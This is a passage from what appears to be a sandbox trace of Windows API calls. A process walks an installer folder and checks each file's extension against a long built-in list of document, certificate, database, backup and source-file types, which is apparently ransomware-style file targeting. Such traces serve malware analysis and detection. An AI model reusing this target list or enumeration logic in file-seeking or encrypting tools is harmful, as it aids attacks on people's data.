(lpString1=".ods", lpString2=".rtf") returned -1 [0085.112] lstrlenW (lpString=".oft") returned 4 [0085.112] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0085.112] lstrlenW (lpString=".one") returned 4 [0085.112] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0085.112] lstrlenW (lpString=".onepkg") returned 7 [0085.112] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0085.112] lstrlenW (lpString=".onetoc2") returned 8 [0085.112] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0085.112] lstrlenW (lpString=".opt") returned 4 [0085.112] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0085.112] lstrlenW (lpString=".oqy") returned 4 [0085.112] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0085.112] lstrlenW (lpString=".orf") returned 4 [0085.112] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0085.112] lstrlenW (lpString=".p12") returned 4 [0085.112] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0085.112] lstrlenW (lpString=".p7b") returned 4 [0085.112] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0085.112] lstrlenW (lpString=".p7c") returned 4 [0085.112] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0085.112] lstrlenW (lpString=".pam") returned 4 [0085.112] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0085.112] lstrlenW (lpString=".pbm") returned 4 [0085.112] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0085.113] lstrlenW (lpString=".pct") returned 4 [0085.113] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0085.113] lstrlenW (lpString=".pcx") returned 4 [0085.113] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0085.113] lstrlenW (lpString=".pdd") returned 4 [0085.113] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0085.113] lstrlenW (lpString=".pdf") returned 4 [0085.113] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0085.113] lstrlenW (lpString=".pdp") returned 4 [0085.113] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0085.113] lstrlenW (lpString=".pef") returned 4 [0085.113] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0085.113] lstrlenW (lpString=".pem") returned 4 [0085.113] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0085.113] lstrlenW (lpString=".pff") returned 4 [0085.113] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0085.113] lstrlenW (lpString=".pfm") returned 4 [0085.113] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0085.113] lstrlenW (lpString=".pfx") returned 4 [0085.113] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0085.113] lstrlenW (lpString=".pgm") returned 4 [0085.113] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0085.113] lstrlenW (lpString=".php") returned 4 [0085.114] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0085.114] lstrlenW (lpString=".php3") returned 5 [0085.114] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0085.114] lstrlenW (lpString=".php4") returned 5 [0085.114] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0085.114] lstrlenW (lpString=".php5") returned 5 [0085.114] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0085.114] lstrlenW (lpString=".phtml") returned 6 [0085.114] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0085.114] lstrlenW (lpString=".pict") returned 5 [0085.114] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0085.114] lstrlenW (lpString=".pl") returned 3 [0085.114] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0085.114] lstrlenW (lpString=".pls") returned 4 [0085.114] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0085.114] lstrlenW (lpString=".pm") returned 3 [0085.114] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0085.114] lstrlenW (lpString=".png") returned 4 [0085.114] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0085.114] lstrlenW (lpString=".pnm") returned 4 [0085.114] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0085.114] lstrlenW (lpString=".pot") returned 4 [0085.114] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0085.114] lstrlenW (lpString=".potm") returned 5 [0085.114] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0085.114] lstrlenW (lpString=".potx") returned 5 [0085.114] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0085.114] lstrlenW (lpString=".ppa") returned 4 [0085.115] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0085.115] lstrlenW (lpString=".ppam") returned 5 [0085.115] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0085.115] lstrlenW (lpString=".ppm") returned 4 [0085.115] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0085.115] lstrlenW (lpString=".pps") returned 4 [0085.115] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0085.115] lstrlenW (lpString=".ppsm") returned 5 [0085.115] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0085.115] lstrlenW (lpString=".ppt") returned 4 [0085.115] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0085.115] lstrlenW (lpString=".pptm") returned 5 [0085.115] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0085.115] lstrlenW (lpString=".pptx") returned 5 [0085.115] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0085.115] lstrlenW (lpString=".prn") returned 4 [0085.115] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0085.115] lstrlenW (lpString=".ps") returned 3 [0085.115] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0085.115] lstrlenW (lpString=".psb") returned 4 [0085.115] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0085.115] lstrlenW (lpString=".psd") returned 4 [0085.115] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0085.115] lstrlenW (lpString=".pst") returned 4 [0085.115] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0085.115] lstrlenW (lpString=".ptx") returned 4 [0085.115] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0085.115] lstrlenW (lpString=".pub") returned 4 [0085.115] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0085.115] lstrlenW (lpString=".pwm") returned 4 [0085.115] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0085.115] lstrlenW (lpString=".pxr") returned 4 [0085.116] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0085.116] lstrlenW (lpString=".py") returned 3 [0085.116] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0085.116] lstrlenW (lpString=".qt") returned 3 [0085.116] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0085.116] lstrlenW (lpString=".r3d") returned 4 [0085.116] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1 [0085.116] lstrlenW (lpString=".raf") returned 4 [0085.116] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1 [0085.116] lstrlenW (lpString=".rar") returned 4 [0085.116] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0085.116] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13b62, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0085.116] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0085.116] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0085.116] FindClose (in: hFindFile=0x4260410 | out: hFindFile=0x4260410) returned 1 [0085.117] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0085.117] FindNextFileW (in: hFindFile=0x459d20, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1049", cAlternateFileName="")) returned 1 [0085.117] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0085.117] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049") returned 26 [0085.117] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260190 [0085.118] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.118] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0085.118] lstrlenW (lpString="eula.rtf") returned 8 [0085.118] lstrlenW (lpString=".1cd") returned 4 [0085.119] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0085.119] lstrlenW (lpString=".3ds") returned 4 [0085.119] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0085.119] lstrlenW (lpString=".3fr") returned 4 [0085.119] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0085.119] lstrlenW (lpString=".3g2") returned 4 [0085.119] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0085.119] lstrlenW (lpString=".3gp") returned 4 [0085.119] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0085.119] lstrlenW (lpString=".7z") returned 3 [0085.119] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0085.119] lstrlenW (lpString=".accda") returned 6 [0085.119] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0085.119] lstrlenW (lpString=".accdb") returned 6 [0085.119] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0085.119] lstrlenW (lpString=".accdc") returned 6 [0085.119] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0085.119] lstrlenW (lpString=".accde") returned 6 [0085.119] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0085.119] lstrlenW (lpString=".accdt") returned 6 [0085.119] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0085.119] lstrlenW (lpString=".accdw") returned 6 [0085.119] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0085.119] lstrlenW (lpString=".adb") returned 4 [0085.119] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0085.119] lstrlenW (lpString=".adp") returned 4 [0085.119] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0085.119] lstrlenW (lpString=".ai") returned 3 [0085.119] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0085.119] lstrlenW (lpString=".ai3") returned 4 [0085.119] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0085.119] lstrlenW (lpString=".ai4") returned 4 [0085.120] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0085.120] lstrlenW (lpString=".ai5") returned 4 [0085.120] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0085.120] lstrlenW (lpString=".ai6") returned 4 [0085.120] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0085.120] lstrlenW (lpString=".ai7") returned 4 [0085.120] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0085.120] lstrlenW (lpString=".ai8") returned 4 [0085.120] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0085.120] lstrlenW (lpString=".anim") returned 5 [0085.120] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0085.120] lstrlenW (lpString=".arw") returned 4 [0085.120] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0085.120] lstrlenW (lpString=".as") returned 3 [0085.120] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0085.120] lstrlenW (lpString=".asa") returned 4 [0085.120] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0085.120] lstrlenW (lpString=".asc") returned 4 [0085.120] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0085.120] lstrlenW (lpString=".ascx") returned 5 [0085.120] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0085.120] lstrlenW (lpString=".asm") returned 4 [0085.120] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0085.120] lstrlenW (lpString=".asmx") returned 5 [0085.120] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0085.120] lstrlenW (lpString=".asp") returned 4 [0085.120] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0085.120] lstrlenW (lpString=".aspx") returned 5 [0085.120] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0085.121] lstrlenW (lpString=".asr") returned 4 [0085.121] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0085.121] lstrlenW (lpString=".asx") returned 4 [0085.121] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0085.121] lstrlenW (lpString=".avi") returned 4 [0085.121] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0085.121] lstrlenW (lpString=".avs") returned 4 [0085.121] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0085.121] lstrlenW (lpString=".backup") returned 7 [0085.121] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0085.121] lstrlenW (lpString=".bak") returned 4 [0085.121] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0085.121] lstrlenW (lpString=".bay") returned 4 [0085.121] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0085.121] lstrlenW (lpString=".bd") returned 3 [0085.121] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0085.121] lstrlenW (lpString=".bin") returned 4 [0085.121] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0085.121] lstrlenW (lpString=".bmp") returned 4 [0085.121] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0085.121] lstrlenW (lpString=".bz2") returned 4 [0085.121] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0085.121] lstrlenW (lpString=".c") returned 2 [0085.121] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0085.121] lstrlenW (lpString=".cdr") returned 4 [0085.121] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0085.121] lstrlenW (lpString=".cer") returned 4 [0085.121] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0085.121] lstrlenW (lpString=".cf") returned 3 [0085.122] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0085.122] lstrlenW (lpString=".cfc") returned 4 [0085.122] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0085.122] lstrlenW (lpString=".cfm") returned 4 [0085.122] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0085.122] lstrlenW (lpString=".cfml") returned 5 [0085.122] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0085.122] lstrlenW (lpString=".cfu") returned 4 [0085.122] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0085.122] lstrlenW (lpString=".chm") returned 4 [0085.122] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0085.122] lstrlenW (lpString=".cin") returned 4 [0085.122] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0085.122] lstrlenW (lpString=".class") returned 6 [0085.122] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0085.122] lstrlenW (lpString=".clx") returned 4 [0085.122] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0085.122] lstrlenW (lpString=".config") returned 7 [0085.122] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0085.122] lstrlenW (lpString=".cpp") returned 4 [0085.122] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0085.122] lstrlenW (lpString=".cr2") returned 4 [0085.122] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0085.122] lstrlenW (lpString=".crt") returned 4 [0085.122] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0085.122] lstrlenW (lpString=".crw") returned 4 [0085.122] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0085.122] lstrlenW (lpString=".cs") returned 3 [0085.122] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0085.122] lstrlenW (lpString=".css") returned 4 [0085.123] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0085.123] lstrlenW (lpString=".csv") returned 4 [0085.123] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0085.123] lstrlenW (lpString=".cub") returned 4 [0085.123] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0085.123] lstrlenW (lpString=".dae") returned 4 [0085.123] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0085.123] lstrlenW (lpString=".dat") returned 4 [0085.123] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0085.123] lstrlenW (lpString=".db") returned 3 [0085.123] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0085.123] lstrlenW (lpString=".dbf") returned 4 [0085.123] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0085.123] lstrlenW (lpString=".dbx") returned 4 [0085.123] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0085.123] lstrlenW (lpString=".dc3") returned 4 [0085.123] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0085.123] lstrlenW (lpString=".dcm") returned 4 [0085.123] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0085.123] lstrlenW (lpString=".dcr") returned 4 [0085.123] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0085.123] lstrlenW (lpString=".der") returned 4 [0085.123] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0085.123] lstrlenW (lpString=".dib") returned 4 [0085.123] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0085.123] lstrlenW (lpString=".dic") returned 4 [0085.123] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0085.123] lstrlenW (lpString=".dif") returned 4 [0085.123] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0085.124] lstrlenW (lpString=".divx") returned 5 [0085.124] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0085.124] lstrlenW (lpString=".djvu") returned 5 [0085.124] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0085.124] lstrlenW (lpString=".dng") returned 4 [0085.124] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0085.124] lstrlenW (lpString=".doc") returned 4 [0085.124] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0085.124] lstrlenW (lpString=".docm") returned 5 [0085.124] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0085.124] lstrlenW (lpString=".docx") returned 5 [0085.124] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0085.124] lstrlenW (lpString=".dot") returned 4 [0085.124] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0085.124] lstrlenW (lpString=".dotm") returned 5 [0085.124] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0085.124] lstrlenW (lpString=".dotx") returned 5 [0085.124] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0085.124] lstrlenW (lpString=".dpx") returned 4 [0085.124] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0085.124] lstrlenW (lpString=".dqy") returned 4 [0085.124] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0085.124] lstrlenW (lpString=".dsn") returned 4 [0085.124] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0085.124] lstrlenW (lpString=".dt") returned 3 [0085.124] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0085.124] lstrlenW (lpString=".dtd") returned 4 [0085.124] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0085.124] lstrlenW (lpString=".dwg") returned 4 [0085.124] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0085.124] lstrlenW (lpString=".dwt") returned 4 [0085.125] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0085.125] lstrlenW (lpString=".dx") returned 3 [0085.125] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0085.125] lstrlenW (lpString=".dxf") returned 4 [0085.125] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0085.125] lstrlenW (lpString=".edml") returned 5 [0085.125] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0085.125] lstrlenW (lpString=".efd") returned 4 [0085.125] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0085.125] lstrlenW (lpString=".elf") returned 4 [0085.125] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0085.125] lstrlenW (lpString=".emf") returned 4 [0085.125] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0085.125] lstrlenW (lpString=".emz") returned 4 [0085.125] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0085.125] lstrlenW (lpString=".epf") returned 4 [0085.125] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0085.125] lstrlenW (lpString=".eps") returned 4 [0085.125] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0085.125] lstrlenW (lpString=".epsf") returned 5 [0085.125] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0085.125] lstrlenW (lpString=".epsp") returned 5 [0085.125] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0085.125] lstrlenW (lpString=".erf") returned 4 [0085.125] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0085.125] lstrlenW (lpString=".exr") returned 4 [0085.125] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0085.125] lstrlenW (lpString=".f4v") returned 4 [0085.125] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0085.126] lstrlenW (lpString=".fido") returned 5 [0085.126] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0085.126] lstrlenW (lpString=".flm") returned 4 [0085.126] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0085.126] lstrlenW (lpString=".flv") returned 4 [0085.126] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0085.126] lstrlenW (lpString=".frm") returned 4 [0085.126] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0085.126] lstrlenW (lpString=".fxg") returned 4 [0085.126] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0085.126] lstrlenW (lpString=".geo") returned 4 [0085.126] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0085.126] lstrlenW (lpString=".gif") returned 4 [0085.126] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0085.126] lstrlenW (lpString=".grs") returned 4 [0085.126] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0085.126] lstrlenW (lpString=".gz") returned 3 [0085.126] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0085.126] lstrlenW (lpString=".h") returned 2 [0085.126] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0085.126] lstrlenW (lpString=".hdr") returned 4 [0085.126] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0085.126] lstrlenW (lpString=".hpp") returned 4 [0085.126] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0085.126] lstrlenW (lpString=".hta") returned 4 [0085.126] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0085.126] lstrlenW (lpString=".htc") returned 4 [0085.126] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0085.126] lstrlenW (lpString=".htm") returned 4 [0085.127] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0085.127] lstrlenW (lpString=".html") returned 5 [0085.127] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0085.127] lstrlenW (lpString=".icb") returned 4 [0085.127] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0085.127] lstrlenW (lpString=".ics") returned 4 [0085.127] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0085.127] lstrlenW (lpString=".iff") returned 4 [0085.127] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0085.127] lstrlenW (lpString=".inc") returned 4 [0085.127] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0085.127] lstrlenW (lpString=".indd") returned 5 [0085.127] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0085.127] lstrlenW (lpString=".ini") returned 4 [0085.127] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0085.127] lstrlenW (lpString=".iqy") returned 4 [0085.127] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0085.127] lstrlenW (lpString=".j2c") returned 4 [0085.127] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0085.127] lstrlenW (lpString=".j2k") returned 4 [0085.127] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0085.127] lstrlenW (lpString=".java") returned 5 [0085.127] 